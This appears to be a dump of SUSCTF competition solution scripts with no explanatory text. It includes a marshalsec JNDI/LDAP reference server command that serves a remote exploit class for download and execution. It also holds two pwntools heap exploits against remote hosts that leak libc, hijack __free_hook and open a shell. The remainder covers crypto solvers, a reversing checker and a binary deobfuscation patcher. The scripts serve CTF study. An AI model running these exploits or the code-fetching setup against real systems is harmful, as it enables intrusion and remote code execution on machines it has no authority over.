java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip:8888/#Exploit" 9999
python3 -m http.server --bind 0.0.0.0 8888

num = ['207',' 359',' 220',' 224 ','352 ','315 ','359 ','374',' 290 ','310',' 277',' 507 ','391 ','513 ','423',' 392 ','508 ','383',' 440 ','322',' 420',' 427',' 503 ','460 ','295',' 318 ','245',' 302 ','407',' 414',' 410',' 130 ','369 ','317']
a = 'AnEWmuLTiPLyis_etimes_wiLLbEcomE_B'
#一个新的乘法是e乘以u将变成b

#369可以是用_下标或者循环求出来
#print(((ord('_') * ord('e'))/num[i]))
#当num[i]等于369时候，值最接近整数#26.00271002710027
#然后计算了一下95*101和369*26的是相差是1
#猜测加密算法95*101=369*26+1
#测试猜想：（207*26+1）/65等于82.8向上取整是83，然后是S字符

flag = ''
for i in range(len(num)):
    flag = flag + chr(round((int(num[i]) * 26 + 1)/ord(a[i])))
print(flag)

from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")

#io = process('./rain')
io = remote('124.71.185.75', 9999)
elf = ELF('./rain')
libc = ELF('./libc.so.6')

def send_data(heigh, width, front_color, back_color, rainfall, content):
    io.sendlineafter('ch> ', b'1')
    payload = p32(heigh) + p32(width) + p8(front_color) + p8(back_color) + p32(rainfall)
    payload = payload.ljust(18, b'a')
    payload += content
    io.sendafter('FRAME> ',payload)

io.sendlineafter('ch> ', b'2')
send_data(1, 1, 0, 0, 1, b'a'*0x48)
send_data(1, 1, 0, 0, 1, b'')
send_data(0x50, 0x50, 0x2, 0x1, 0x64, b'a'*0x58)
io.sendlineafter('ch> ', b'3')
send_data(0, 0, 0, 0, 1, p32(0x1) + p32(0x1) + b'a'*0x20 + p64(0x400E17) + p64(elf.got['atoi']) + b'a'*0x10)
send_data(0x50, 0x50, 0x2, 0x1, 0x64, b'\x00')
io.sendlineafter('ch> ', b'2')
io.recvuntil("Table:            ");
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['atoi']
success("libc_base:\t" + hex(libc_base))
io.sendlineafter('ch> ', b'3')
send_data(1, 1, 0, 0, 1, b'a'*0x48)
send_data(1, 1, 0, 0, 1, b'')
send_data(0x50, 0x50, 0x2, 0x1, 0x64, p64(libc_base + libc.sym['__free_hook'] - 8))
io.sendlineafter('ch> ', b'3')
send_data(1, 1, 0, 0, 1, b'/bin/sh\x00' + p64(libc_base + libc.sym['system']) + b'a'*0x38)
send_data(1, 1, 0, 0, 1, b'')
io.interactive()

from pwn import *
context.log_level= 'DEBUG'
context.arch = 'amd64'
context.terminal = ['tmux','sp','-h']
# sh = process('./happytree')
sh = remote("124.71.147.225",9999)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
# 
def menu(choice):
    sh.recvuntil("cmd> ")
    sh.sendline(str(choice))
    
def add(size,content):
    menu(1)
    sh.recvuntil("data:")
    sh.sendline(str(size))
    sh.recvuntil("content:")
    sh.send(content)

def delete(data):
    menu(2)
    sh.recvuntil("data:")
    sh.sendline(str(data))
def show(idx):
    menu(3)
    sh.recvuntil("data:")
    sh.sendline(str(idx))
    sh.recvuntil('12')
    data = sh.recv(6)
    return data
add(1,'a')
add(2,'a')
add(8,'/bin/sh\x00')

# gdb.attach(sh,'b * $rebase(0x10AA)')
for i in range(8):
    add(0xd0 + i,'aaa')
for i in range(8):
    delete(0xd7 - i)
for i in range(8):
    add(0xd0 + i,'11111112')
libc_base = u64(show(0xd7).ljust(8,b'\x00')) - 0x3EBCA0
libc.address = libc_base 
log.success("libc_base = " + hex(libc_base))
free_hook = libc.symbols["__free_hook"]
system = libc.symbols["system"]
add(0xf2,'3')
add(0xf7,'3')
add(0xf6,'3')
add(0xf4,'3')
add(0xf5,'3')
add(0xf0,'3')
add(0xf1,'3')

delete(0xf2)
add(0xf8,'9')
delete(0xf5)

delete(0xf8)
# delete(0xf0)

delete(0xf7)
# gdb.attach(sh,'b * $rebase(0xF0F)')

# add(3,'a')
delete(1)
delete(2)
add(0xef,p64(free_hook))
add(0xee,p64(0))
add(0xed,p64(0))

add(0xec,p64(system))
delete(8)
sh.interactive()

from Crypto.Util.number import *
import time
import random
c = 2832775557487418816663494645849097066925967799754895979829784499040437385450603537732862576495758207240632734290947928291961063611897822688909447511260639429367768479378599532712621774918733304857247099714044615691877995534173849302353620399896455615474093581673774297730056975663792651743809514320379189748228186812362112753688073161375690508818356712739795492736743994105438575736577194329751372142329306630950863097761601196849158280502041616545429586870751042908365507050717385205371671658706357669408813112610215766159761927196639404951251535622349916877296956767883165696947955379829079278948514755758174884809479690995427980775293393456403529481055942899970158049070109142310832516606657100119207595631431023336544432679282722485978175459551109374822024850128128796213791820270973849303929674648894135672365776376696816104314090776423931007123128977218361110636927878232444348690591774581974226318856099862175526133892
p = 127846753573603084140032502367311687577517286192893830888210505400863747960458410091624928485398237221748639465569360357083610343901195273740653100259873512668015324620239720302434418836556626441491996755736644886234427063508445212117628827393696641594389475794455769831224080974098671804484986257952189021223
q = 145855456487495382044171198958191111759614682359121667762539436558951453420409098978730659224765186993202647878416602503196995715156477020462357271957894750950465766809623184979464111968346235929375202282811814079958258215558862385475337911665725569669510022344713444067774094112542265293776098223712339100693
r = 165967627827619421909025667485886197280531070386062799707570138462960892786375448755168117226002965841166040777799690060003514218907279202146293715568618421507166624010447447835500614000601643150187327886055136468260391127675012777934049855029499330117864969171026445847229725440665179150874362143944727374907
# fp = [2, 7, 757, 1709, 85015583 , 339028665499, 149105250954771885483776047]
# fq = [2, 3, 66553,81768440203, 84405986771, 38037107558208320033, 16137718604846030589135490851713]
# fr = [2, 5156273, 10012111, 11607389, 68872137169799749, 9691125310820433463]
# e_list = []
# for i in fp:
#     for j in fq:
#         for k in fr:
#             e_list.append(i*j*k)
# print(e)
e = 757 * 66553 *5156273
def AMM(o, r, q):
    start = time.time()
    print('\n----------------------------------------------------------------------------------')
    print('Start to run Adleman-Manders-Miller Root Extraction Method')
    print('Try to find one {:#x}th root of {} modulo {}'.format(r, o, q))
    g = GF(q)
    o = g(o)
    p = g(random.randint(1, q))
    while p ^ ((q-1) // r) == 1:
        p = g(random.randint(1, q))
    t = 0
    s = q - 1
    while s % r == 0:
        t += 1
        s = s // r
    k = 1
    while (k * s + 1) % r != 0:
        k += 1
    alp = (k * s + 1) // r
    a = p ^ (r**(t-1) * s)
    b = o ^ (r*alp - 1)
    c = p ^ s
    h = 1
    for i in range(1, t):
        d = b ^ (r^(t-1-i))
        if d == 1:
            j = 0
        else:
            j = - discrete_log(d, a)
        b = b * (c^r)^j
        h = h * c^j
        c = c^r
    result = o^alp * h
    end = time.time()
    print("Finished in {} seconds.".format(end - start))
    return result

def findAllPRoot(p, e):
    start = time.time()
    proot = set()
    while len(proot) < e:
        proot.add(pow(random.randint(2, p-1), (p-1)//e, p))
    end = time.time()
    return proot
def findAllSolutions(mp, proot, cp, p):
    print("Start to find all the {:#x}th root of {} modulo {}.".format(e, cp, p))
    start = time.time()
    all_mp = set()
    for root in proot:
        mp2 = mp * root % p
        all_mp.add(mp2)
    end = time.time()
    print("Finished in {} seconds.".format(end - start))
    return all_mp
n=p*q*r
# tmp = pow(int(1<<1024),int(e),n)
tmp = 2794203162952680694875426764547234241112236710433123774476303768639242351566319207612773628883250609134659396011750795113351981408956541443986997306105869563120160376511155383832592237253107342927670770094240045412123787825031261131955433947396826167219004667304636335427373984885928591487526163086731412269053200262557436796244981351739716063496342017497841802350338687039580076905949641402173299773716271511639533823663740291331408514189072329517625171120136705677613965360814741037067953490597466636290290725085921897578223035738383932219334876192857916281288629471625406358741715112812225419217748429901501082216480552255233899368763011103720695984389763743356559299690991047172680728215625377751497287365075742929734077041112027582350488222091280835389084342367259161290929159777553525296385682720359499417021854388648183468514374707670903349123145819166174953312125050648613697527164777642887701658900202492759171557250
realc=inverse_mod(tmp,n)*c%n
er=5156273
der = inverse_mod(er,(p-1)*(q-1))
c = pow(int(realc), der,p*q)
dp = inverse_mod(66553, p-1)
dq = inverse_mod(757, q-1)
cp = pow(int(c),int(dp),int(p))
cq = pow(int(c),int(dq),int(q))
mp = AMM(cp, 757, p)
mq = AMM(cq, 66553, q)
p_proot = findAllPRoot(p, 757)
q_proot = findAllPRoot(q, 66553)
mps = findAllSolutions(mp, p_proot, cp, p)
mqs = findAllSolutions(mq, q_proot, cq, q)

start = time.time()
print('Start CRT...')
for mpp in mps:
    print(mpp)
    for mqq in mqs:
        solution = crt([int(mpp), int(mqq)], [p, q])
        if b'SUSCTF' in long_to_bytes(solution):
            print(long_to_bytes(solution))
            end = time.time()
            print("Finished in {} seconds.".format(end - start))

import numpy as np

b = '''3.657060500339054556e+02
3.832239212422502419e+02
4.006400878420690219e+02
4.178419900792603698e+02
4.347228858757071634e+02
4.511847676148433948e+02
4.671407458110251127e+02
4.825167947918074560e+02
4.972528090932780174e+02
5.113029695817293714e+02
5.246354631948004226e+02
5.372316391653928349e+02
5.490847173300799113e+02
5.601981891814167511e+02
5.705840667157972348e+02
5.802611340293560716e+02
5.892533389518160902e+02
5.975884263745526823e+02
6.052968650055386206e+02
6.124110630374365201e+02
6.189648165161182760e+02
6.249928981118596312e+02
6.305306816020913629e+02
6.356137112146116124e+02
6.402771610768811570e+02
6.445551788138646998e+02
6.484801562386791147e+02
6.520820067831411961e+02
6.553875449515115861e+02
6.584200543535777115e+02
6.611991006926840555e+02
6.637406026122149569e+02
6.660571276935107790e+02
6.681583443270599219e+02
6.700515409542964562e+02
6.717421256877905762e+02
6.732340393774057929e+02
6.745300469406174670e+02
6.756319058650934721e+02
6.765404381911505425e+02
6.772555468921494821e+02
6.777762178159265432e+02
6.781005372262200126e+02
6.782257385537030814e+02
6.781482768722584069e+02
6.778639205835502253e+02
6.773678481496929180e+02
6.766547414782241958e+02
6.757188729437999655e+02
6.745541865153842309e+02
6.731543734407333659e+02
6.715129401333222177e+02
6.696232624726493441e+02
6.674786187460366591e+02
6.650721936401939729e+02
6.623970470419692447e+02
6.594460419709976122e+02
6.562117241643640000e+02
6.526861416758931682e+02
6.488605883801759546e+02
6.447252539940367342e+02
6.402687687915280321e+02
6.354776457871529374e+02
6.303356463148024886e+02
6.248231231031890047e+02
6.189164222318630664e+02
6.125874450187269531e+02
6.058034773416537746e+02
5.985273843207024811e+02
5.907182434535461653e+02
5.823324532363482149e+02
5.733253130130134423e+02
5.636530294391988036e+02
5.532750701442269019e+02
5.421567579447032585e+02
5.302719786604150158e+02
5.176058598538473916e+02
5.041572643016256734e+02
4.899409301857818377e+02
4.749890824218749685e+02
4.593523418788242338e+02
4.430997787892412703e+02
4.263179996640761260e+02
4.091092256773656004e+02
3.915884105025300528e+02'''

b = b.split('\n')
b = [each[:-4] for each in b]
b = [int(each.replace('.', '')) for each in b]

def gravity(n,d=0.25):
    A=np.zeros([n,n])
    for i in range(n):
        for j in range(n):
            A[i,j]=d/n*(d**2+((i-j)/n)**2)**(-1.5)
    return A

A = gravity(85) * 10^18
A = [[int(each2) for each2 in each1] for each1 in A]
M = []
for i in range(85):
    M.append(A[i] + [0] * i + [1] + [0] * (84 - i))

M.append(b + [0] * 85)
M = Matrix(ZZ, M)

L = M.LLL()
ans = L[0]
print(bytes(ans[85:]))

from Crypto.Util.number import inverse, bytes_to_long, long_to_bytes
from sage.groups.generic import bsgs
from hashlib import md5

class SpecialCurve:
    def __init__(self, p, a, b):
        self.p = p
        self.a = a
        self.b = b

    def __str__(self):
        return f'SpecialCurve({self.p},{self.a},{self.b})'

    def __call__(self, x, y):
        return SpecialCurvePoint(self.p, self.a, self.b, x, y)

    def __contains__(self, other):
        x, y = other.x, other.y
        return (self.a * x ** 2 - self.b * x - y ** 2) % self.p == 0

class SpecialCurvePoint:

    def __init__(self, p, a, b, x, y):
        self.p = p
        self.a = a
        self.b = b
        self.x = x % p
        self.y = y % p

    def __str__(self):
        return "(%d, %d)" % (self.x, self.y)

    def __repr__(self):
        return str(self)

    def __add__(self, P1):
        x1, y1 = self.x, self.y
        x2, y2 = P1.x, P1.y
        if x1 == 0:
            return P1
        elif x2 == 0:
            return self
        elif x1 == x2 and (y1+y2) % self.p == 0:
            return SpecialCurvePoint(self.p, self.a, self.b, 0, 0)
        if self == P1:
            t = (2*self.a*x1-self.b)*inverse(2*y1, self.p) % self.p
        else:
            t = (y2-y1)*inverse(x2-x1, self.p) % self.p
        x3 = self.b*inverse(self.a-t**2, self.p) % self.p
        y3 = x3*t % self.p
        return SpecialCurvePoint(self.p, self.a, self.b, x3, y3)

    def __mul__(self, k):
        assert k >= 0
        Q = SpecialCurvePoint(self.p, self.a, self.b, 0, 0)
        P = SpecialCurvePoint(self.p, self.a, self.b, self.x, self.y)
        cnt = 0
        now = 1
        while k > 0:
            if k % 2:
                k -= 1
                Q = P + Q
                cnt += now
            else:
                k //= 2
                P = P + P
                now *= 2

        return Q

    def order(self):
        return self.p + 1

    def is_zero(self):
        return self.x == 0 and self.other == 0

    def __eq__(self, other):
        return self.a == other.a and self.b == other.b and self.p == other.p \
            and self.x == other.x and self.y == other.y
    def __hash__(self):
        return int(md5(("%d-%d-%d-%d-%d" % (self.p, self.a, self.b, self.x, self.y)).encode()).hexdigest(), 16)

def invert(P):
    return SpecialCurvePoint(P.p, P.a, P.b, P.x, -P.y % P.p)

def add(P1, P2):
    return P1 + P2
def problem3():
    curve=SpecialCurve(52373730653143623993722188411805072409768054271090317191163373082830382186155222057388907031638565243831629283127812681929449631957644692314271061305360051,28655236915186704327844312279364325861102737672471191366040478446302230316126579253163690638394777612892597409996413924040027276002261574013341150279408716,42416029226399083779760024372262489355327595236815424404537477696856946194575702884812426801334149232783155054432357826688204061261064100317825443760789993)
    G=curve(15928930551986151950313548861530582114536854007449249930339281771205424453985946290830967245733880747219865184207937142979512907006835750179101295088805979, 29726385672383966862722624018664799344530038744596171136235079529609085682764414035677068447708040589338778102975312549905710028842378574272316925268724240)
    Q=curve(38121552296651560305666865284721153617113944344833289618523344614838728589487183141203437711082603199613749216407692351802119887009907921660398772094998382, 26933444836972639216676645467487306576059428042654421228626400416790420281717654664520663525738892984862698457685902674487454159311739553538883303065780163)
    p = 52373730653143623993722188411805072409768054271090317191163373082830382186155222057388907031638565243831629283127812681929449631957644692314271061305360051
    E = curve(0, 0)
    order = p + 1
    factors = [4, 2663, 5039, 14759, 18803, 21803, 22271, 22307, 23879, 26699, 35923, 42727, 48989, 52697, 57773, 58129, 60527, 66877, 69739, 74363, 75869, 79579, 80489, 81043, 81049, 82531, 84509, 85009, 91571, 96739, 98711, 102481, 103357, 103981]
    ans = []

    for factor in factors:
        this = bsgs(G * (order // factor), Q * (order // factor), (0, factor), operation='other', op=add, inverse=invert, identity=E)
        ans.append(this)
        print(this)

    return crt(ans, factors)

def problem2():
    y1 = 96989919722797171541882834089135074413922451043302800296198062675754293402989
    yn = 110661224324697604640962229701359894201176516005657224773855350780007949687952
    p = 191068609532021291665270648892101370598912795286064024735411416824693692132923
    return yn * inverse(y1, p) % p

def problem1():

    p = 233083587295210134948821000868826832947
    a = 73126617271517175643081276880688551524
    b = 88798574825442191055315385745016140538
    D = (Mod(a, p)^-1).nth_root(2)
    def Map(P):
        x, y = P.x, P.y
        return Mod((x - b * inverse_mod(2 * a, p) + D * y) * 2 * a * inverse_mod(b, p), p)

    curve=SpecialCurve(233083587295210134948821000868826832947,73126617271517175643081276880688551524,88798574825442191055315385745016140538)
    G=curve(183831340067417420551177442269962013567, 99817328357051895244693615825466756115)
    Q=curve(166671516040968894138381957537903638362, 111895361471674668502480740000666908829)

    g = Map(G)
    q = -Map(Q)
    factors = [2, 3, 71, 2671, 20147, 69341, 146631649272726436705613]
    ans = []
    for factor in factors[:-1]:
        this = bsgs(g ** (order // factor), q ** (order // factor), (0, factor))
        ans.append(this)
        print(this)
    ans.append(71440828573593354113865)
    return crt(ans, factors)

import hashlib

e1 = problem1()
e2 = problem2()
e3 = problem3()
enc = 4161358072766336252252471282975567407131586510079023869994510082082055094259455767245295677764252219353961906640516887754903722158044643700643524839069337
print(long_to_bytes(bytes_to_long(hashlib.sha512(b'%d-%d-%d'%(e1,e2,e3)).digest()) ^^ enc))

from Crypto.Util.number import long_to_bytes
from tqdm import tqdm
from magic_box import lfsr, generator

def gauss(mat):
    for i in range(len(mat[0]) - 1):
        if mat[i][i] == 0:
            for j in range(i + 1, len(mat)):
                if mat[j][i] != 0:
                    mat[i], mat[j] = mat[j], mat[i]
                    break
        for j in range(len(mat)):
            if i == j or mat[j][i] == 0:
                continue
            for k in range(i, len(mat[i])):
                mat[j][k] ^= mat[i][k]
    return mat

n1, n2 = 64, 12
plain_2 = b'Date: 1984-04-01'
cip_2 = open('MTk4NC0wNC0wMQ==_6d30.enc', 'rb').read()
bit_list = ''
for i in range(len(plain_2)):
    bit_list += bin(plain_2[i] ^ cip_2[i])[2:].zfill(8)
mat = []
for i in range(len(bit_list) - n2 - 1):
    rol = []
    for j in range(n2 + 1):
        rol.append(int(bit_list[i + j]))
    mat.append(rol)
mat = gauss(mat)
mask2 = 0
for i in range(n2):
    mask2 = mask2 * 2 + mat[i][-1]
mask_list = bin(mask2)[2:].zfill(n2)
seed_list = bit_list[:n2]
for i in range(n2):
    res = int(seed_list[-1])
    for j in range(n2 - 1):
        if int(mask_list[j + 1]):
            res ^= int(seed_list[j])
    seed_list = str(res) + seed_list[:-1]
seed2 = int(seed_list, 2)
print(seed2, mask2)

plain_1 = b'Date: 1984-12-25\r\n'
cip_1 = open('MTk4NC0xMi0yNQ==_76ff.enc', 'rb').read()
bit_list_base = ''
for i in range(len(plain_1)):
    bit_list_base += bin(plain_1[i] ^ cip_1[i])[2:].zfill(8)

for seed3 in range(2 ** 12):
    lfit = lfsr(seed3, mask2, n2)
    bit_list_mask = ''
    for i in bit_list_base:
        bit_list_mask += str(lfit.getrandbit(1))
    bit_list = ''
    for i in range(len(bit_list_base)):
        bit_list += str(int(bit_list_base[i]) ^ int(bit_list_mask[i]))

    mat = []
    for i in range(len(bit_list) - n1 - 1):
        rol = []
        for j in range(n1 + 1):
            rol.append(int(bit_list[i + j]))
        mat.append(rol)
    mat = gauss(mat)
    mask1 = 0
    for i in range(n1):
        mask1 = mask1 * 2 + mat[i][-1]
    seed_list = bit_list[:n1]
    mask_list = bin(mask1)[2:].zfill(n1)
    for i in range(n1):
        res = int(seed_list[-1])
        for j in range(n1 - 1):
            if int(mask_list[j + 1]):
                res ^= int(seed_list[j])
        seed_list = str(res) + seed_list[:-1]
    seed1 = int(seed_list, 2)
    magic = 15193544052573546419
    lfsr1=lfsr(seed1, mask1, n1)
    lfsr2=lfsr(seed3, mask2, n2)
    cipher = generator(lfsr1, lfsr2, magic)
    plain = 0
    for x in cip_1:
        tmp = (x ^ cipher.getrandbit(8))
        if tmp > 127:
            break
        plain = (plain << 8) + tmp
    plain = long_to_bytes(plain)
    if b'SUSCTF' in plain:
        print(plain)
        exit()

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
import time

def f1(a, b):
    if a == '1' and b == '1':
        return '1'
    return None
def f2(a, b):
    if a == '0' and b == '0':
        return '0'
    return None
def f3(a):
    if a == '1':
        return '0'
    if None == '0':
        return '1'
def f4(a, b):
    return f2(f1(a, f3(b)), f1(f3(a), b))
def f5(x, y, z):
    s = f4(f4(x, y), z)
    c = f2(f1(x, y), f1(z, f2(x, y)))
    return (s, c)
def f6(a, b):
    ans = ''
    z = '0'
    a = a[::-1]
    b = b[::-1]
    for i in range(32):
        ans += f5(a[i], b[i], z)[0]
        z = f5(a[i], b[i], z)[1]
    
    return ans[::-1]
def f7(a, n):
    return a[n:] + '0' * n
def f8(a, n):
    return n * '0' + a[:-n]
def f9(a, b):
    ans = ''
    for i in range(32):
        ans += f4(a[i], b[i])
    
    return ans
def f10(v0, v1, k0, k1, k2, k3):
    s = '00000000000000000000000000000000'
    d = '10011110001101110111100110111001'
    for i in range(32):
        s = f6(s, d)
        v0 = f6(v0, f9(f9(f6(f7(v1, 4), k0), f6(v1, s)), f6(f8(v1, 5), k1)))
        v1 = f6(v1, f9(f9(f6(f7(v0, 4), k2), f6(v0, s)), f6(f8(v0, 5), k3)))
    
    return v0 + v1

k0 = '0100010001000101'.zfill(32)
k1 = '0100000101000100'.zfill(32)
k2 = '0100001001000101'.zfill(32)
k3 = '0100010101000110'.zfill(32)
flag = input('please input flag:')
if flag[0:7] != 'SUSCTF{' or flag[-1] != '}':
    print('Error!!!The formate of flag is SUSCTF{XXX}')
    time.sleep(5)
    exit(0)
flagstr = flag[7:-1]
if len(flagstr) != 24:
    print('Error!!!The length of flag 24')
    time.sleep(5)
    exit(0)
res = ''
for i in range(0, len(flagstr), 8):
    v0 = flagstr[i:i + 4]
    v0 = bin(ord(flagstr[i]))[2:].zfill(8) + bin(ord(flagstr[i + 1]))[2:].zfill(8) + bin(ord(flagstr[i + 2]))[2:].zfill(8) + bin(ord(flagstr[i + 3]))[2:].zfill(8)
    v1 = bin(ord(flagstr[i + 4]))[2:].zfill(8) + bin(ord(flagstr[i + 5]))[2:].zfill(8) + bin(ord(flagstr[i + 6]))[2:].zfill(8) + bin(ord(flagstr[i + 7]))[2:].zfill(8)
    res += f10(v0, v1, k0, k1, k2, k3)

if res == '001111101000100101000111110010111100110010010100010001100011100100110001001101011000001110001000001110110000101101101000100100111101101001100010011100110110000100111011001011100110010000100111':
    print('True')
else:
    print('False')
time.sleep(5)

from capstone import *
from capstone.x86 import *
import pwn
import pefile
md = Cs(CS_ARCH_X86, CS_MODE_64)
pwn.context.arch = 'amd64' # Default architecture is i386

md.detail = True
# for reference
# <CsInsn 0x0 [50]: push rax>
# <CsInsn 0x1 [50]: push rax>
# <CsInsn 0x2 [9c]: pushfq >
# <CsInsn 0x3 [e800000000]: call 8>
# <CsInsn 0x8 [58]: pop rax>
# <CsInsn 0x9 [480559d7ffff]: add rax, -0x28a7>
# <CsInsn 0xf [4889442410]: mov qword ptr [rsp + 0x10], rax>
# <CsInsn 0x14 [9d]: popfq >
# <CsInsn 0x15 [58]: pop rax>
# <CsInsn 0x16 [50]: push rax>
# <CsInsn 0x17 [50]: push rax>
# <CsInsn 0x18 [9c]: pushfq >
# <CsInsn 0x19 [e800000000]: call 0x1e>
# <CsInsn 0x1e [58]: pop rax>
# <CsInsn 0x1f [48050781ffff]: add rax, -0x7ef9>
# <CsInsn 0x25 [4889442410]: mov qword ptr [rsp + 0x10], rax>
# <CsInsn 0x2a [9d]: popfq >
# <CsInsn 0x2b [58]: pop rax>
# <CsInsn 0x2c [c3]: ret >

def patch(chunk: bytearray) -> bytearray:
    pattern = b'\x50\x50\x9c'
    for off in range(len(chunk)):
        if chunk[off:off+len(pattern)] == pattern:
            print(hex(off))
            # print(chunk[off:off+16])
            inss = md.disasm(chunk[off:off+0x40], 0)
            # print(inss)
            adr_v = []
            for i in inss:
                print(i)
                # print(i.address)
                if i.mnemonic == 'add':
                    assert i.address in [0x9, 0x1f]
                    assert i.mnemonic == 'add'
                    adr_v.append(i.operands[1].value.imm)
                    # print(hex(add_v))
                if i.address == 0x16:
                    if i.mnemonic == 'ret':

                        assert len(adr_v)>0
                        target = adr_v[0] + 8

                        # print(hex(target+off))
                        n = i.address+i.size
                        chunk[off:off+n] = b'\x90'*n

                        # print(pwn.p32(target), jins)

                        jins = pwn.asm(f'jmp $+{target}')
                        chunk[off:off+len(jins)]=jins
                        break
                    else:
                        assert chunk[off+0x16:off+0x16+len(pattern)] == pattern
                if i.address == 0x16*2:
                    print(adr_v)
                    assert i.mnemonic == 'ret'
                    assert len(adr_v)>1
                    call_target = adr_v[1] + 0x1e
                    jmp_target = adr_v[0] + 8
                    shc = pwn.asm(f'''
                            call $+{call_target}
                            ''')
                    shj = pwn.asm(f'''
                            jmp $+{jmp_target-len(shc)}
                            ''')
                    n = i.address+i.size
                    chunk[off:off+n] = b'\x90'*n

                    jins = shc + shj
                    chunk[off:off+len(jins)]=jins
                    break

    return chunk

pe = pefile.PE("tttree2.exe")
c = bytearray(open('tttree2.exe', 'rb').read())

for s in pe.sections:
    if not (s.IMAGE_SCN_MEM_EXECUTE): # only patch executable regions
        continue
    l = s.PointerToRawData
    r = l + s.SizeOfRawData
    print('offs:', hex(l), hex(r))
    c[l:r] = patch(c[l:r])

open('patched.exe', 'wb').write(c)